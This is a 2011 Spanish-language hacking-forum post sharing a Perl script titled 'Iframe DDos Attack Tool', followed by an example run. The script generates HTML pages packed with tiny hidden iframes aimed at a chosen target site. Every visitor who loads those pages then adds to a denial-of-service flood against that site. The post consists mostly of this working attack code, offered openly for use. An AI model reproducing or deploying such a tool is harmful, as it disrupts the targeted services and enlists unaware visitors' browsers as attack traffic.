Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 7 Octubre 2011, 01:15 am



Título: [Perl] Iframe DDos Attack Tool
Publicado por: BigBear en 7 Octubre 2011, 01:15 am
Un simple poc para la los ataques de denegacion de servicio usando
iframes.


Código
  1. #!usr/bin/perl
  2. #Iframe DDos Attack Tool (C) Doddy Hackman 2011
  3.  
  4. use Cwd;
  5.  
  6. installer();
  7.  
  8. sub head {
  9. print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
  10. }
  11.  
  12. sub copyright {
  13. print "\n\n -- == Doddy Hackman 2011\n\n";
  14. }
  15.  
  16. sub sintax {
  17. print "\n[+] sintax : $0 <target> <count file> <count iframe>\n";
  18. }
  19.  
  20. sub start {
  21. my ($target,$files,$iframe) = @_;
  22. print "\n[+] Starting the party\n\n";
  23. print "[+] Generating files and iframes\n";
  24. print "\n[+] All Save in ".getcwd()."/files/"."\n";
  25. for my $can(1..$files) {
  26. open (POC,">>files/index".$can.".html");
  27. for my $tx(1..$iframe) {
  28. print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
  29. }
  30. close POC;
  31. }
  32. }
  33.  
  34. head();
  35. unless(@ARGV > 2) {
  36. sintax();
  37. } else {
  38. start($ARGV[0],$ARGV[1],$ARGV[2]);
  39. }
  40. copyright();
  41.  
  42. sub installer {
  43. unless (-d "files/") {
  44. mkdir("files/","777");
  45. }}
  46.  
  47. # ¿ The End ?
  48.  
Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
 Finales\poc iframe>poc.pl "pepo.com" 4 4


-- == Iframe DDos Attack Tool == --


[+] Starting the party

[+] Generating files and iframes

[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/


 -- == Doddy Hackman 2011